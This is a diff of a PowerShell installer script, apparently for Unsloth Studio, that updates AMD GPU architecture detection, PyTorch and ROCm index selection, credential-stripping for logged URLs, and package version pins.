try {
if (Test-Path -LiteralPath $VenvPython) {
# why: matching guard to the .venv branch below -- in env-mode
# $StudioHome is a user-chosen workspace, so refuse to nuke an
# existing $StudioHome\unsloth_studio that lacks Studio sentinels.
# existing $StudioHome\unsloth_studio that lacks Unsloth sentinels.
# -PathType Leaf rejects a directory at the sentinel path. Accept the
# in-VENV ownership marker so partial-install retries are not blocked.
if (
@ -1433,7 +1686,7 @@ exit 0
) {
Write-Host "[ERROR] $VenvDir already exists but does not look like an Unsloth Studio install." -ForegroundColor Red
Write-Host " Move it aside or choose an empty UNSLOTH_STUDIO_HOME." -ForegroundColor Yellow
throw "Refusing to delete non-Studio venv at $VenvDir"
throw "Refusing to delete non-Unsloth venv at $VenvDir"
}
# New layout already exists -- replace only after preserving rollback copy.
substep "preserving existing environment for rollback..."
@ -1452,7 +1705,7 @@ exit 0
# workspace root (e.g. user's existing project Python venv).
$OldVenv = Join-Path $StudioHome ".venv"
$OldPy = Join-Path $OldVenv "Scripts\python.exe"
substep "found legacy Studio environment, validating..."
substep "found legacy Unsloth environment, validating..."
$prevEAP2 = $ErrorActionPreference
$ErrorActionPreference = "Continue"
try {
@ -1482,7 +1735,7 @@ exit 0
# Skip in env-mode so we don't relocate the default-install venv into
# the workspace root.
$CwdVenv = Join-Path $env:USERPROFILE "unsloth_studio"
substep "found CWD-relative Studio environment, migrating to $VenvDir..."
substep "found CWD-relative Unsloth environment, migrating to $VenvDir..."
Move-Item -LiteralPath $CwdVenv -Destination $VenvDir -Force
substep "moved ~/unsloth_studio -> ~/.unsloth/studio/unsloth_studio"
$_Migrated = $true
@ -1491,7 +1744,7 @@ exit 0
if (-not (Test-Path -LiteralPath $VenvPython)) {
step "venv" "creating Python $($DetectedPython.Version) virtual environment"
substep "$VenvDir"
$venvExit = Invoke-InstallCommand { uv venv $VenvDir --python "$($DetectedPython.Path)" }
$venvExit = Invoke-InstallCommand -Label "create virtual environment" { uv venv $VenvDir --python "$($DetectedPython.Path)" }
if ($venvExit -ne 0) {
Write-Host "[ERROR] Failed to create virtual environment (exit code $venvExit)" -ForegroundColor Red
return (Exit-InstallFailure "Failed to create virtual environment (exit code $venvExit)" $venvExit)
@ -1501,7 +1754,7 @@ exit 0
substep "$VenvDir"
}
# Mark the freshly-created venv as Studio-owned so a partial install can be
# Mark the freshly-created venv as Unsloth-owned so a partial install can be
# repaired by re-running install.ps1; the env-mode deletion guard above
# accepts this marker as the primary sentinel.
if (Test-Path -LiteralPath $VenvDir -PathType Container) {
@ -1510,7 +1763,7 @@ exit 0
# ── Helper: run amd-smi without triggering a UAC elevation prompt ──
# amd-smi on Windows auto-elevates to read GPU/APU memory, surfacing a confusing
# DiskPart UAC prompt mid-install (Studio backend amd.py hits the same).
# DiskPart UAC prompt mid-install (Unsloth backend amd.py hits the same).
# __COMPAT_LAYER=RunAsInvoker forces it (and helpers it spawns) to run
# un-elevated; on failure the WMI name -> gfx fallback still resolves the arch.
function Invoke-AmdSmiNoElevate {
@ -1637,7 +1890,7 @@ exit 0
function Test-HipinfoIsVenvInternal {
param([AllowNull()][string]$HipinfoPath)
if ([string]::IsNullOrWhiteSpace($HipinfoPath)) { return $false }
# Also derive the venv from the setup python + default Studio home, so
# Also derive the venv from the setup python + default Unsloth home, so
# the venv hipInfo is caught when VenvDir/VIRTUAL_ENV are unset.
$venvRoots = @()
if ($env:VIRTUAL_ENV) { $venvRoots += $env:VIRTUAL_ENV }
@ -1647,7 +1900,7 @@ exit 0
try { $venvRoots += (Split-Path -Parent (Split-Path -Parent $env:UNSLOTH_SETUP_PYTHON)) } catch {}
}
if ($env:USERPROFILE) { $venvRoots += (Join-Path $env:USERPROFILE ".unsloth\studio\unsloth_studio") }
# A custom Studio home (UNSLOTH_STUDIO_HOME / STUDIO_HOME alias) moves the
# A custom Unsloth home (UNSLOTH_STUDIO_HOME / STUDIO_HOME alias) moves the
# venv off the default path; seed it too or its hipInfo escapes the filter.
$studioHomeEnv = if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_STUDIO_HOME)) { $env:UNSLOTH_STUDIO_HOME.Trim() } elseif (-not [string]::IsNullOrWhiteSpace($env:STUDIO_HOME)) { $env:STUDIO_HOME.Trim() } else { $null }
if ($studioHomeEnv) {
@ -1805,12 +2058,14 @@ exit 0
# (gfx120X/110X/1151/1150/103X); unknown names fall back to CPU.
elseif ($ROCmGpuLabel) {
$nameArchTable = @(
@{ P = "9070 XT|9080"; A = "gfx1201" } # RDNA 4 (RX 9070 XT / 9080)
@{ P = "9070|9060"; A = "gfx1200" } # RDNA 4 (RX 9070 / 9060)
@{ P = "8060S|8050S|8040S|Strix Halo|Ryzen AI Max|AI Max"; A = "gfx1151" } # RDNA 3.5 (Strix Halo: Radeon 8060S/8050S/8040S iGPU, Ryzen AI Max+)
@{ P = "890M|880M|860M|840M|Strix Point|Krackan|HX 37[05]|AI 9 HX|AI 9 36[05]|AI 7 35[05]|AI 5 34[05]|AI 7 PRO 35|AI 5 33"; A = "gfx1150" } # RDNA 3.5 (Strix/Krackan Point: Radeon 890M/880M iGPU, Ryzen AI 9 HX 370/375)
@{ P = "RX 7900|RX 7800|RX 7700(?!S)|PRO W7900|PRO W7800|PRO W7700"; A = "gfx1100" } # RDNA 3 desktop/workstation (Navi 31)
@{ P = "RX 7600|RX 7700S|RX 7650|PRO W7600|PRO W7500|PRO V710"; A = "gfx1102" } # RDNA 3 (Navi 33)
@{ P = "9070|9080"; A = "gfx1201" } # RDNA 4 (Navi 48: RX 9070 XT / 9070 GRE / 9070 / 9080)
@{ P = "9060"; A = "gfx1200" } # RDNA 4 (Navi 44: RX 9060 XT / 9060)
@{ P = "8065S|8060S|8050S|8040S|Strix Halo|Ryzen AI Max|AI Max"; A = "gfx1151" } # RDNA 3.5 (Strix Halo + Gorgon Halo: Radeon 8065S/8060S/8050S/8040S iGPU, Ryzen AI Max / Max+)
@{ P = "890M|880M|Strix Point|HX 37[05]|AI 9 HX|AI 9 36[05]"; A = "gfx1150" } # RDNA 3.5 (Strix Point: Radeon 890M/880M, Ryzen AI 9 HX 370/375)
@{ P = "860M|840M|Krackan|AI 7 35[05]|AI 5 34[05]|AI 7 PRO 35|AI 5 33"; A = "gfx1152" } # RDNA 3.5 (Krackan Point: Radeon 860M/840M, Ryzen AI 7 350 / AI 5 340)
@{ P = "RX 7900|PRO W7900|PRO W7800"; A = "gfx1100" } # RDNA 3 desktop/workstation (Navi 31)
@{ P = "RX 7800|RX 7700(?!S)|PRO W7700|PRO V710"; A = "gfx1101" } # RDNA 3 (Navi 32)
@{ P = "RX 7600|RX 7700S|RX 7650|PRO W7600|PRO W7500"; A = "gfx1102" } # RDNA 3 (Navi 33)
@{ P = "780M|760M|740M|Phoenix|Hawk Point|Z1 Extreme|Z2 Extreme"; A = "gfx1103" } # RDNA 3 iGPU (Phoenix / Hawk Point)
@{ P = "RX 6900|RX 6800|RX 6750|RX 6700|PRO W6800|PRO W6900"; A = "gfx1030" } # RDNA 2 (Navi 21) -- gfx103X family
@{ P = "RX 6650|RX 6600|PRO W6600|PRO W6650"; A = "gfx1032" } # RDNA 2 (Navi 23) -- gfx103X family
@ -1926,7 +2181,7 @@ exit 0
substep " Ensure the ROCm compute driver is installed alongside the display driver:" "Yellow"
substep " https://rocm.docs.amd.com/en/latest/deploy/windows/index.html" "Yellow"
} elseif ($ROCmGfxArch) {
# Known arch: Studio setup installs AMD's bundled-runtime ROCm PyTorch wheels
# Known arch: Unsloth setup installs AMD's bundled-runtime ROCm PyTorch wheels
# (repo.amd.com), which ship their own runtime -- HIP SDK optional.
step "gpu" "AMD ROCm ($ROCmGfxArch)" "Cyan"
substep "Detected: $ROCmGpuLabel" "Cyan"
@ -1944,10 +2199,31 @@ exit 0
# On an AMD GPU (no NVIDIA), surface the optional WSL-ROCm driver hint.
if (-not $HasNvidiaSmi -and ($ROCmGfxArch -or $ROCmGpuLabel)) { Show-AmdWslDriverHint }
# Trim trailing slashes from the URL PATH only, preserving ?query / #fragment: a whole-URL
# TrimEnd corrupts a token ending in "/", a single strip leaves .../cu128// empty. Shared.
function Trim-IndexPathSlashes {
param([string]$Url)
$value = $Url.Trim()
$idx = $value.IndexOfAny([char[]]@('?', '#'))
if ($idx -lt 0) {
return $value.TrimEnd('/')
}
return $value.Substring(0, $idx).TrimEnd('/') + $value.Substring($idx)
}
# ── Choose the correct PyTorch index URL based on driver CUDA version ──
# Mirrors Get-PytorchCudaTag in setup.ps1.
function Get-TorchIndexUrl {
$baseUrl = if ($env:UNSLOTH_PYTORCH_MIRROR) { $env:UNSLOTH_PYTORCH_MIRROR.TrimEnd('/') } else { "https://download.pytorch.org/whl" }
# Explicit pin -- skip ALL GPU probing (headless / CI / cross-install).
# UNSLOTH_TORCH_INDEX_URL wins (full URL, verbatim); _FAMILY is the leaf appended
# to the mirror base. Matches install.sh / install_python_stack.py.
if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_URL)) {
return (Trim-IndexPathSlashes $env:UNSLOTH_TORCH_INDEX_URL)
}
if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_FAMILY)) {
return "$baseUrl/$($env:UNSLOTH_TORCH_INDEX_FAMILY.Trim().Trim('/'))"
}
if (-not $NvidiaSmiExe) { return "$baseUrl/cpu" }
try {
$output = Invoke-NvidiaSmiBounded $NvidiaSmiExe
@ -1968,6 +2244,27 @@ exit 0
return "$baseUrl/cu126"
}
# Strip userinfo AND query/fragment so an authenticated pin never leaks. Shared with
# _strip_index_url_credentials (install.sh / py / setup.ps1).
function Remove-IndexUrlCredentials {
param([string]$Url)
# Ordinal, not culture-aware: on non-English locales (e.g. th-TH) linguistic
# IndexOf treats "://" as ignorable, mis-locates it, and crashes Substring (issue #7279).
$sep = $Url.IndexOf('://', [System.StringComparison]::Ordinal)
if ($sep -lt 0) { return $Url }
$scheme = $Url.Substring(0, $sep)
$rest = $Url.Substring($sep + 3)
# Drop query / fragment (may hold auth tokens).
$q = $rest.IndexOfAny([char[]]('?', '#'))
if ($q -ge 0) { $rest = $rest.Substring(0, $q) }
$slash = $rest.IndexOf('/', [System.StringComparison]::Ordinal)
$authority = if ($slash -ge 0) { $rest.Substring(0, $slash) } else { $rest }
$at = $authority.LastIndexOf('@', [System.StringComparison]::Ordinal)
$host_ = if ($at -ge 0) { $authority.Substring($at + 1) } else { $authority }
if ($slash -ge 0) { return "${scheme}://${host_}$($rest.Substring($slash))" }
return "${scheme}://${host_}"
}
# ── Torch flavor helpers (to repair a stale CPU / wrong-CUDA wheel) ──
# torch.__version__ -> flavor tag (cuXXX / rocm / cpu); untagged wheel = cpu,
# matching setup.ps1's stale-venv parse.
@ -1986,11 +2283,13 @@ exit 0
param([string]$TorchIndexUrl, [string]$ROCmIndexUrl)
if (-not [string]::IsNullOrWhiteSpace($ROCmIndexUrl)) { return 'rocm' }
if ([string]::IsNullOrWhiteSpace($TorchIndexUrl)) { return $null }
$leaf = ($TorchIndexUrl.TrimEnd('/') -split '/')[-1].ToLowerInvariant()
# Drop query/fragment first so .../cu128?token=x classifies as cu128 (else it reinstalls every run).
$leaf = (($TorchIndexUrl -split '[?#]', 2)[0].TrimEnd('/') -split '/')[-1].ToLowerInvariant()
if ($leaf -match '^cu\d+$') { return $leaf }
if ($leaf -eq 'cpu') { return 'cpu' }
if ($leaf -match '^rocm') { return 'rocm' }
if ($leaf -match '^gfx') { return 'rocm' }
# gfx must be followed by a digit (an architecture leaf); gfx-private is custom.
if ($leaf -match '^gfx[0-9]') { return 'rocm' }
return $null
}
@ -2025,6 +2324,10 @@ exit 0
} catch { return $null }
}
# An explicit pin is authoritative: the AMD ROCm reroute below must not rewrite it
# (e.g. a deliberate cpu pin on an AMD host).
$TorchIndexPinned = (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_URL)) -or `
(-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_FAMILY))
$TorchIndexUrl = Get-TorchIndexUrl
# ── GPU arch → newest compatible Windows ROCm wheel release ──
@ -2036,13 +2339,20 @@ exit 0
# Override with UNSLOTH_ROCM_WINDOWS_MIRROR for air-gapped / mirror installs.
$ROCmIndexUrl = $null
$ROCmTorchFloor = $null
if (($HasROCm -or $ROCmGfxArch) -and $TorchIndexUrl -like "*/cpu" -and -not $SkipTorch) {
$PinnedRocmVisionSpec = $null
$PinnedRocmAudioSpec = $null
if (-not $TorchIndexPinned -and ($HasROCm -or $ROCmGfxArch) -and $TorchIndexUrl -like "*/cpu" -and -not $SkipTorch) {
$amdIndexBase = if ($env:UNSLOTH_ROCM_WINDOWS_MIRROR) { $env:UNSLOTH_ROCM_WINDOWS_MIRROR.TrimEnd('/') } else { "https://repo.amd.com/rocm/whl" }
$archFamilyMap = @{
"gfx1201" = "gfx120X-all"; "gfx1200" = "gfx120X-all" # RDNA 4
"gfx1151" = "gfx1151"; "gfx1150" = "gfx1150" # RDNA 3.5 (Strix Halo/Point)
"gfx1152" = "gfx1152" # RDNA 3.5 (Krackan Point)
"gfx1103" = "gfx110X-all"; "gfx1102" = "gfx110X-all" # RDNA 3
"gfx1101" = "gfx110X-all"; "gfx1100" = "gfx110X-all"
"gfx1036" = "gfx103X-all"; "gfx1035" = "gfx103X-all" # RDNA 2 (RX 6000)
"gfx1034" = "gfx103X-all"; "gfx1033" = "gfx103X-all"
"gfx1032" = "gfx103X-all"; "gfx1031" = "gfx103X-all"
"gfx1030" = "gfx103X-all"
"gfx90a" = "gfx90a"; "gfx908" = "gfx908" # MI200/MI100
}
# gfx120X (RDNA 4) and gfx1151/gfx1150 (Strix) have a null-pointer bug in
@ -2058,6 +2368,7 @@ exit 0
$torchFloorMap = @{
"gfx1201" = "torch>=2.11.0,<2.12.0"; "gfx1200" = "torch>=2.11.0,<2.12.0"
"gfx1151" = "torch>=2.11.0,<2.12.0"; "gfx1150" = "torch>=2.11.0,<2.12.0"
"gfx1152" = "torch>=2.11.0,<2.12.0"
}
# Companion ranges track the torch ceiling so pip resolves a consistent
# trio on AMD's per-arch index (each published independently). Mirrors
@ -2065,10 +2376,12 @@ exit 0
$torchvisionFloorMap = @{
"gfx1201" = "torchvision>=0.26.0,<0.27.0"; "gfx1200" = "torchvision>=0.26.0,<0.27.0"
"gfx1151" = "torchvision>=0.26.0,<0.27.0"; "gfx1150" = "torchvision>=0.26.0,<0.27.0"
"gfx1152" = "torchvision>=0.26.0,<0.27.0"
}
$torchaudioFloorMap = @{
"gfx1201" = "torchaudio>=2.11.0,<2.12.0"; "gfx1200" = "torchaudio>=2.11.0,<2.12.0"
"gfx1151" = "torchaudio>=2.11.0,<2.12.0"; "gfx1150" = "torchaudio>=2.11.0,<2.12.0"
"gfx1152" = "torchaudio>=2.11.0,<2.12.0"
}
$archFamily = if ($ROCmGfxArch -and $archFamilyMap.ContainsKey($ROCmGfxArch)) { $archFamilyMap[$ROCmGfxArch] } else { $null }
if ($archFamily) {
@ -2086,6 +2399,32 @@ exit 0
}
}
# A gfx*/rocm pin skips the auto-reroute above, but the generic CPU/CUDA install below
# would use torch>=2.4,<2.11 and pull a known-bad wheel on the gfx115x/gfx120x/rocm>=7.2
# indexes (the _grouped_mm bug). Route a pinned ROCm index through the ROCm path.
if ($TorchIndexPinned -and -not $ROCmIndexUrl -and -not $SkipTorch) {
$_pinLeaf = (($TorchIndexUrl -split '[?#]', 2)[0].TrimEnd('/') -split '/')[-1].ToLower()
$_pinRocm211 = $false
# Anchor ($) so a suffixed custom leaf (rocm7.2-private) falls through to verbatim.
if ($_pinLeaf -match '^rocm(\d+)\.(\d+)$') {
# Only KNOWN-2.11 rocm (rocm7.2) gets the floor. Matches Test-RocmKnown211Version.
$_pinRocm211 = ([int]$Matches[1] -eq 7 -and [int]$Matches[2] -eq 2)
}
# Only the 2.11-allowlist gfx arches need the floor; others publish <2.11 and stay bare.
$_pinGfx211 = @('gfx120x-all', 'gfx1151', 'gfx1150', 'gfx1152') -contains $_pinLeaf
if ($_pinGfx211 -or $_pinRocm211) {
$ROCmIndexUrl = $TorchIndexUrl
$ROCmTorchFloor = "torch>=2.11.0,<2.12.0"
$PinnedRocmVisionSpec = "torchvision>=0.26.0,<0.27.0"
$PinnedRocmAudioSpec = "torchaudio>=2.11.0,<2.12.0"
substep "pinned ROCm index ($_pinLeaf) -- enforcing $ROCmTorchFloor" "Cyan"
} elseif ($_pinLeaf -match '^gfx[0-9]' -or $_pinLeaf -match '^rocm[0-9]+(\.[0-9]+)?$') {
# Other gfx / older rocm (<=7.1) ship torch <2.11; route via the ROCm path with
# bare specs. Only EXACT rocm<digits>/gfx* are families; a suffixed leaf is verbatim.
$ROCmIndexUrl = $TorchIndexUrl
}
}
if ($ROCmIndexUrl) {
$TorchIndexFamily = "rocm"
} else {
@ -2148,14 +2487,14 @@ exit 0
}
if ($_Migrated) {
# Migrated env: force-reinstall unsloth+unsloth-zoo to ensure clean state
# in the new venv location, while preserving existing torch/CUDA
# Migrated env: force-reinstall unsloth+unsloth-zoo for a clean state, preserving
# existing torch/CUDA unless the flavor repair below re-lands it.
Write-TauriLog "STEP" "Installing unsloth"
substep "upgrading unsloth in migrated environment..."
if ($SkipTorch) {
# No-torch: install unsloth + unsloth-zoo with --no-deps, then
# runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" }
if ($baseInstallExit -eq 0) {
# Resolve pydantic WITH deps so pip pins pydantic-core
# to the matching version (no-torch-runtime.txt below
@ -2169,7 +2508,7 @@ exit 0
}
}
} else {
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" }
}
if ($baseInstallExit -ne 0) {
Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
@ -2177,7 +2516,7 @@ exit 0
}
if ($StudioLocalInstall) {
substep "overlaying local repo (editable)..."
$overlayExit = Invoke-InstallCommand { uv pip install --python $VenvPython -e $RepoRoot --no-deps }
$overlayExit = Invoke-InstallCommand -Label "overlay local repo" { uv pip install --python $VenvPython -e $RepoRoot --no-deps }
if ($overlayExit -ne 0) {
Write-Host "[ERROR] Failed to overlay local repo (exit code $overlayExit)" -ForegroundColor Red
return (Exit-InstallFailure "Failed to overlay local repo (exit code $overlayExit)" $overlayExit)
@ -2194,22 +2533,24 @@ exit 0
substep "skipping PyTorch (--no-torch flag set)." "Yellow"
} elseif ($ROCmIndexUrl) {
Write-TauriLog "STEP" "Installing PyTorch (AMD ROCm Windows)"
substep "installing PyTorch from $ROCmIndexUrl..."
substep "installing PyTorch from $(Remove-IndexUrlCredentials $ROCmIndexUrl)..."
$torchSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" }
# Pin the companions to match $torchSpec; bare names can resolve an
# ABI-incompatible torchvision/torchaudio on AMD's per-arch index.
$visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
$audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
$torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $torchSpec $visionSpec $audioSpec }
$visionSpec = if ($PinnedRocmVisionSpec) { $PinnedRocmVisionSpec } elseif ($ROCmGfxArch -and $torchvisionFloorMap -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
$audioSpec = if ($PinnedRocmAudioSpec) { $PinnedRocmAudioSpec } elseif ($ROCmGfxArch -and $torchaudioFloorMap -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
$torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $torchSpec $visionSpec $audioSpec }
if ($torchInstallExit -ne 0) {
# Transient AMD-index failure: fall back to a CPU base so the install
# still completes; Studio setup retries ROCm afterwards.
substep "ROCm PyTorch install failed (exit $torchInstallExit); using a CPU base, Studio setup retries ROCm." "Yellow"
# Transient AMD-index failure: fall back to a CPU base (Unsloth setup retries
# ROCm). Use an explicit CPU index -- for a pinned ROCm index $TorchIndexUrl IS
# the ROCm mirror, so reusing it would just retry it.
$CpuFallbackIndexUrl = if ($env:UNSLOTH_PYTORCH_MIRROR) { "$($env:UNSLOTH_PYTORCH_MIRROR.TrimEnd('/'))/cpu" } else { "https://download.pytorch.org/whl/cpu" }
substep "ROCm PyTorch install failed (exit $torchInstallExit); using a CPU base, Unsloth setup retries ROCm." "Yellow"
# --force-reinstall: a failed ROCm install can leave an unpinned ROCm
# torch (e.g. 2.10.0+rocm on gfx110X/gfx90a) that still satisfies the CPU
# torch>= range, so without it uv would keep the ROCm build and only swap
# the companions -- a mismatched venv the flavor-repair block won't fix.
$torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl }
$torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" "torchvision>=0.19,<0.26.0" "torchaudio>=2.4,<2.11.0" --default-index $CpuFallbackIndexUrl }
if ($torchInstallExit -ne 0) {
Write-Host "[ERROR] Failed to install PyTorch (ROCm and CPU base both failed, exit code $torchInstallExit)" -ForegroundColor Red
return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit)
@ -2222,8 +2563,27 @@ exit 0
}
} else {
Write-TauriLog "STEP" "Installing PyTorch"
substep "installing PyTorch ($TorchIndexUrl)..."
$torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl }
# Windows on ARM lacks only torchaudio (whl/cpu win_arm64: torch 42,
# torchvision 60, torchaudio 0), so drop that pin instead of aborting. Ask the
# interpreter, not PROCESSOR_ARCHITECTURE; reached when no x64 Python exists.
$VenvPlatform = ""
try {
$VenvPlatform = (& $VenvPython -c "import sysconfig; print(sysconfig.get_platform())" 2>$null | Out-String).Trim().ToLowerInvariant()
} catch { $VenvPlatform = "" }
substep "installing PyTorch ($(Remove-IndexUrlCredentials $TorchIndexUrl))..."
# Bound the companions to the capped torch on EVERY index, cu<digits>
# families included: torchaudio 2.11 dropped its exact torch pin from
# the wheel metadata, so a bare companion next to torch<2.11 can
# resolve a mismatched 2.11.0 build. Mirrors install.sh.
$_pinVisionSpec = "torchvision>=0.19,<0.26.0"
$_pinAudioSpec = "torchaudio>=2.4,<2.11.0"
$_torchSpecs = @("torch>=2.4,<2.11.0", $_pinVisionSpec, $_pinAudioSpec)
if ($VenvPlatform -eq "win-arm64") {
substep "windows on arm: skipping torchaudio (upstream publishes no"
substep "win_arm64 wheel); torch and torchvision install normally."
$_torchSpecs = @("torch>=2.4,<2.11.0", $_pinVisionSpec)
}
$torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython @_torchSpecs --default-index $TorchIndexUrl }
if ($torchInstallExit -ne 0) {
Write-Host "[ERROR] Failed to install PyTorch (exit code $torchInstallExit)" -ForegroundColor Red
return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit)
@ -2235,7 +2595,7 @@ exit 0
if ($SkipTorch) {
# No-torch: install unsloth + unsloth-zoo with --no-deps, then
# runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" }
if ($baseInstallExit -eq 0) {
# Same pydantic-with-deps trick as the migrated branch.
$baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic }
@ -2247,7 +2607,7 @@ exit 0
}
}
} elseif ($StudioLocalInstall) {
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" }
} else {
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth" { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" }
}
@ -2258,7 +2618,7 @@ exit 0
if ($StudioLocalInstall) {
substep "overlaying local repo (editable)..."
$overlayExit = Invoke-InstallCommand { uv pip install --python $VenvPython -e $RepoRoot --no-deps }
$overlayExit = Invoke-InstallCommand -Label "overlay local repo" { uv pip install --python $VenvPython -e $RepoRoot --no-deps }
if ($overlayExit -ne 0) {
Write-Host "[ERROR] Failed to overlay local repo (exit code $overlayExit)" -ForegroundColor Red
return (Exit-InstallFailure "Failed to overlay local repo (exit code $overlayExit)" $overlayExit)
@ -2275,13 +2635,13 @@ exit 0
Write-TauriLog "STEP" "Installing unsloth"
substep "installing unsloth (this may take a few minutes)..."
if ($StudioLocalInstall) {
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.7" "unsloth>=2026.6.9" --torch-backend=auto }
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.7.6" "unsloth>=2026.7.5" --torch-backend=auto }
if ($baseInstallExit -ne 0) {
Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit)
}
substep "overlaying local repo (editable)..."
$overlayExit = Invoke-InstallCommand { uv pip install --python $VenvPython -e $RepoRoot --no-deps }
$overlayExit = Invoke-InstallCommand -Label "overlay local repo" { uv pip install --python $VenvPython -e $RepoRoot --no-deps }
if ($overlayExit -ne 0) {
Write-Host "[ERROR] Failed to overlay local repo (exit code $overlayExit)" -ForegroundColor Red
return (Exit-InstallFailure "Failed to overlay local repo (exit code $overlayExit)" $overlayExit)
@ -2301,12 +2661,19 @@ exit 0
}
}
$installedPackageVersion = (& $VenvPython -c "from importlib.metadata import version; import sys; print(version(sys.argv[1]))" $PackageName 2>$null | Out-String).Trim()
if ($LASTEXITCODE -eq 0 -and $installedPackageVersion) {
step $PackageName "$installedPackageVersion installed"
} else {
substep "[WARN] installed $PackageName version could not be determined" "Yellow"
}
# ── Enforce the installed torch flavor matches the detected GPU build ──
# PEP 440 ignores the +cpu/+cuXXX/+rocm local label in a version range, so uv
# keeps a stale torch==X+cpu against a CUDA index and setup.ps1 then loops on
# "torch cpu != required cuXXX". Reinstall the right triplet when a GPU build is
# expected: CUDA from $TorchIndexUrl, ROCm from $ROCmIndexUrl (repo.amd.com gfx*
# is a PEP 503 index uv resolves via --index-url, same URL the fresh ROCm install
# is a PEP 503 index uv resolves via --default-index, same URL the fresh ROCm install
# above uses). --no-torch / CPU-only hosts (expected cpu) are no-ops.
if (-not $SkipTorch) {
$expectedTorchTag = Get-ExpectedTorchFlavorTag -TorchIndexUrl $TorchIndexUrl -ROCmIndexUrl $ROCmIndexUrl
@ -2319,10 +2686,10 @@ exit 0
$rocmSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" }
# Pin companions like the fresh ROCm path (bare names can pull an
# ABI-incompatible torchvision/torchaudio from the per-arch index).
$visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
$audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
$visionSpec = if ($PinnedRocmVisionSpec) { $PinnedRocmVisionSpec } elseif ($ROCmGfxArch -and $torchvisionFloorMap -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
